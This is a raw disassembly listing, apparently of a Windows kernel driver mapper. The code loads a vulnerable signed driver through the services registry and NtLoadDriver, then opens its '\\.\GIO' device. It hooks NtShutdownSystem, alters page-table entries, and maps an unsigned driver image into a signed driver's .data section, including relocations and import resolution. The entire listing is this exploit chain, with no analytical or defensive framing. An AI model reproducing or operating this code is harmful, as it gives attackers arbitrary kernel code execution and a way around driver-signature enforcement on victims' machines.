call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rsp + 0x48]
call fcn.140046ed0
mov qword [rbp - 0x40], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x40]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140044c34
mov bl, 1
jmp 0x140044ca7
mov qword [rbp + 0x50], rdi
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
lea r8, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140044c5d
mov bl, 1
jmp 0x140044ca7
mov dword [rbp + 0x30], 1
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x34], rax
mov dword [rbp + 0x3c], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, 0x10
lea r8, [rbp + 0x30]
xor edx, edx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140044c9b
mov bl, 1
jmp 0x140044ca7
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140044cec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044ce7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044ce7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
test bl, bl
je 0x140044cf7
xor bl, bl
jmp 0x1400451c7
lea rax, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rax, qword [rbp + 0xc8]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x38], rax
call fcn.140055d08
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
lea r8, [rbp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140040650
or r12d, 0xc000
mov dword [rbp + 0x50], r12d
mov qword [rbp + 0x30], rdi
lea rax, [0x1400746a0]
mov qword [rbp + 0x38], rax
lea r8, [rbp + 0x30]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.140041710
bts r12d, 0x10
mov dword [rbp + 0x50], r12d
cmp dword [rbp + 0x30], 0
jne 0x140045f78
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rax, qword [rsp + 0x48]
mov qword [rbp + 0x30], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0x38], rax
call fcn.140055d08
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
lea r8, [rbp + 0x30]
mov edx, eax
lea rcx, [rbp - 0x60]
call fcn.140049480
or r12d, 0xe0000
mov dword [rbp + 0x50], r12d
lea r8, [rbp - 0x60]
lea rcx, [rbp + 0x148]
call fcn.140047ac0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x30]
call fcn.140042fc0
nop
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x80]
lea rcx, [rbp + 0x30]
call fcn.140047850
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
lea r8, [rbp - 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140044e80
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140044e79
inc rdx
mov rcx, qword [rbp + 0x30]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140044e74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044f97
call fcn.140055000
mov bl, 1
jmp 0x140044fa8
mov byte [rbp + 0x23], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x23]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140044e3e
mov byte [rbp + 0x22], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x22]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140044e3e
mov byte [rbp + 0x21], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x21]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140044e3e
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140044f2e
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140044e3e
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140044fa3
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044f9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044f9e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
test ebx, ebx
setne bl
mov rdx, qword [rbp + 0x160]
cmp rdx, 0xf
jbe 0x140044fec
inc rdx
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044fe7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044fe7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
movdqu xmmword [rbp + 0x158], xmm6
mov byte [rbp + 0x148], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140045039
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045034
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045034
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
movdqu xmmword [rbp - 0x50], xmm6
mov byte [rbp - 0x60], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140045087
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045082
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045082
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
movdqa xmm0, xmmword [0x14006a790]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], di
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x1400450de
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400450d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400450d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
test bl, bl
je 0x1400450e9
xor bl, bl
jmp 0x1400451c7
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0xe8]
call fcn.140042fc0
nop
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x80]
lea rcx, [rbp + 0xe8]
call fcn.140047850
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0x108]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x60]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x60]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x1400451c7
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400451c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400451c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x148]
call fcn.140047120
mov byte [rbp + 0x168], bl
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x180], rax
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x17c], edx
lea rcx, [rbp + 0x188]
call fcn.140046de0
lea rcx, [rbp + 0x190]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x228]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x14004527a
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045275
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045275
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
mov qword [rbp + 0xd8], rdi
mov qword [rbp + 0xe0], 0xf
mov byte [rbp + 0xc8], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x1400452d5
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400452cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400452cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
nop
mov rcx, qword [rbp + 0xb0]
test rcx, rcx
je 0x140045319
mov rdx, qword [rbp + 0xc0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045313
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045313
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
nop
test bl, bl
jne 0x14004538c
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], bl
mov qword [rbp + 0x120], rdi
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x128]
call fcn.140047120
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400453db
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045385
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045385
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
jmp 0x1400453db
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1400758f8], rax
mov qword [rbp + 0x120], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x128]
call fcn.140047120
nop
mov rdx, qword [rbp + 0x160]
cmp rdx, 0xf
jbe 0x14004541d
inc rdx
mov rcx, qword [rbp + 0x148]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140045417
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045eee
call fcn.140055000
nop
cmp qword [rbp + 0x120], 0
je 0x140045e92
cmp qword [rbp + 0x138], 0
je 0x140045e92
lea rdx, str.Vulnerable_driver_loaded__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
lea rdx, [rbp + 0x128]
cmp qword [rbp + 0x140], 0xf
cmova rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140047d10
mov rcx, rax
lea rdx, [0x140069ae0]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x20]
call fcn.140052f40
mov rbx, rsi
mov r12d, dword [rsp + 0x68]
mov qword [rsp + 0x40], r12
lea r14, [r12 + rsi]
mov eax, 4
cmp rsi, r14
jae 0x1400457ad
mov esi, eax
mov rax, qword gs:[0x58]
add rsi, qword [rax]
mov eax, dword [rsi]
cmp dword [0x1400758f0], eax
jle 0x14004550f
lea rcx, [0x1400758f0]
call fcn.140054c78
cmp dword [0x1400758f0], 0xffffffff
jne 0x14004550f
lea rcx, [0x140069a00]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140075958], rax
lea rcx, [0x1400758f0]
call fcn.140054c0c
lea rcx, reloc.XINPUT1_4.dll_Ordinal_2
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x140045a59
cmp dword [0x14007469c], 0x7fffffff
je 0x140045a43
mov dword [rbp + 0xb0], 0x25ff
mov word [rbp + 0xb4], ax
mov qword [rbp + 0xb6], r15
mov rcx, qword [0x140075900]
mov r8d, 0xe
lea rdx, [rbp + 0x108]
call fcn.140043730
mov rcx, qword [0x140075900]
mov r8d, 0xe
lea rdx, [rbp + 0xb0]
call fcn.1400438d0
mov rax, qword [0x140075958]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x140075900]
mov r8d, 0xe
lea rdx, [rbp + 0x108]
call fcn.1400438d0
lea rcx, reloc.XINPUT1_4.dll_Ordinal_2
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x20]
call fcn.140053790
test al, al
jne 0x1400455d3
xor eax, eax
mov qword [rbp - 0x40], rax
lea rdx, str.Manipulating_page_table__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
lea rdx, [rbp + 0x128]
cmp qword [rbp + 0x140], 0xf
cmova rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140047d10
mov rcx, rax
lea rdx, str._._Large_page__
call fcn.140047d10
mov rdx, qword [rbp - 0x40]
shr rdx, 7
and edx, 1
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140069ae0]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbp - 0x40]
test al, al
jns 0x14004566d
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp - 0x40], rax
lea r8, [rbp - 0x40]
jmp 0x140045789
mov eax, dword [rsi]
cmp dword [0x1400758f0], eax
jle 0x1400456bc
lea rcx, [0x1400758f0]
call fcn.140054c78
cmp dword [0x1400758f0], 0xffffffff
jne 0x1400456bc
lea rcx, [0x140069a00]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140075958], rax
lea rcx, [0x1400758f0]
call fcn.140054c0c
lea rcx, reloc.XINPUT1_4.dll_Ordinal_2
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x140045a37
cmp dword [0x14007469c], 0x7fffffff
je 0x140045a21
mov dword [rbp + 0x60], 0x25ff
mov word [rbp + 0x64], ax
mov qword [rbp + 0x66], r13
mov rcx, qword [0x140075900]
mov r8d, 0xe
lea rdx, [rbp + 0x30]
call fcn.140043730
mov rcx, qword [0x140075900]
mov r8d, 0xe
lea rdx, [rbp + 0x60]
call fcn.1400438d0
mov rax, qword [0x140075958]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x140075900]
mov r8d, 0xe
lea rdx, [rbp + 0x30]
call fcn.1400438d0
lea rcx, reloc.XINPUT1_4.dll_Ordinal_2
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.140053790
test al, al
jne 0x14004576c
xor eax, eax
jmp 0x140045770
mov rax, qword [rbp + 0x50]
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp + 0x50], rax
lea r8, [rbp + 0x50]
mov r9d, 8
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.140053f10
add rbx, 0x1000
cmp rbx, r14
jb 0x1400454c0
xor edi, edi
mov r9d, 4
mov r8d, 0x3000
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov r13, qword [rbp - 0x70]
mov r8d, dword [r13 + 0x54]
mov rdx, qword [0x140075368]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.Local_mapped_image_base__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140069ae0]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx eax, word [r13 + 0x14]
lea r15, [r13 + 0x18]
add r15, rax
mov r14d, edi
cmp di, word [r13 + 6]
jae 0x14004591d
lea rdi, [r15 + 0xc]
mov r12, qword [rbp - 0x68]
nop
mov ebx, dword [rdi]
add rbx, rsi
mov r8d, dword [rdi + 4]
mov edx, dword [rdi + 8]
add rdx, qword [0x140075368]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.Mapping_section__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
movsxd rcx, r14d
lea r8, [rcx + rcx*4]
lea rdx, [r15 + r8*8]
mov rcx, rax
call fcn.140047d10
lea rdx, [0x140069c3c]
mov rcx, rax
call fcn.140047d10
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, str._____
call fcn.140047d10
mov edx, dword [rdi]
add rdx, r12
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str.___0x
call fcn.140047d10
lea rdx, [0x140040530]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rdi + 4]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140069ae0]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc r14d
lea rdi, [rdi + 0x28]
movzx eax, word [r13 + 6]
cmp r14d, eax
jl 0x140045840
mov r12, qword [rsp + 0x40]
lea rdx, str.Mapping_driver___signed_driver_in_section__.data__with_size__0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
lea rdx, [0x140040530]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rsp + 0x68]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, [0x140069ae0]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r14, qword [rbp - 0x68]
mov rdi, r14
sub rdi, qword [r13 + 0x30]
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x140045a96
movsxd rax, dword [rsi + 0x3c]
add rax, rsi
cmp dword [rax], 0x4550
jne 0x140045a96
test rax, rax
je 0x140045a96
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
xor r10d, r10d
mov qword [rbp + 0x40], r10
mov ebx, dword [rax + 0xb0]
add rbx, rsi
mov eax, dword [rbx]
mov r9, qword [rbp + 0x38]
test eax, eax
je 0x140045a90
nop word [rax + rax]
add rax, rsi
mov qword [rbp + 0x108], rax
lea rax, [rbx + 8]
mov qword [rbp + 0x110], rax
mov eax, dword [rbx + 4]
sub rax, 8
shr rax, 1
mov dword [rbp + 0x118], eax
cmp r9, r10
je 0x140045a65
movups xmm0, xmmword [rbp + 0x108]
movups xmmword [r9], xmm0
movsd xmm1, qword [rbp + 0x118]
movsd qword [r9 + 0x10], xmm1
mov r9, qword [rbp + 0x38]
add r9, 0x18
mov qword [rbp + 0x38], r9
jmp 0x140045a7c
mov dword [0x14007469c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [0x14007469c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea r8, [rbp + 0x108]
mov rdx, r9
lea rcx, [rbp + 0x30]
call fcn.1400527f0
mov r9, qword [rbp + 0x38]
mov eax, dword [rbx + 4]
add rbx, rax
mov eax, dword [rbx]
mov r10, qword [rbp + 0x40]
test eax, eax
jne 0x1400459d0
mov r11, qword [rbp + 0x30]
jmp 0x140045aae
xorps xmm1, xmm1
xor r10d, r10d
xorps xmm0, xmm0
psrldq xmm0, 8
movq r9, xmm0
movq r11, xmm1
cmp r11, r9
je 0x140045b07
lea r8, [r11 + 0x10]
mov ebx, 0xfff
nop dword [rax]
xor edx, edx
cmp dword [r8], edx
jbe 0x140045afa
nop word [rax + rax]
mov rax, qword [r8 - 8]
movzx eax, word [rax + rdx*2]
movzx ecx, ax
shr cx, 0xc
and ax, bx
cmp cx, 0xa
jne 0x140045af3
movzx ecx, ax
mov rax, qword [r8 - 0x10]
add qword [rax + rcx], rdi
inc edx
cmp edx, dword [r8]
jb 0x140045ad0
add r8, 0x18
lea rax, [r8 - 0x10]
cmp rax, r9
jne 0x140045ac0
test r11, r11
je 0x140045b62
sub r10, r11
movabs rax, 0x2aaaaaaaaaaaaaab
imul r10
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r11
cmp rdx, 0x1000
jb 0x140045b5a
add rdx, 0x27
mov r11, qword [r11 - 8]
sub rax, r11
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045b5a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r11
call fcn.140055000
mov rdx, rsi
lea rcx, [rbp + 0x30]
call fcn.140051d70
mov rcx, rax
call fcn.140051a80
test al, al
jne 0x140045c2b
lea rdx, str.Failed_to_resolve_imports.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x148]
call fcn.140047120
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140045bd6
mov rcx, rbx
call fcn.140043280
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140045c0c
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140045c07
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140045c24
mov rcx, r8
call fcn.140055000
mov qword [rbx + 0x10], 0
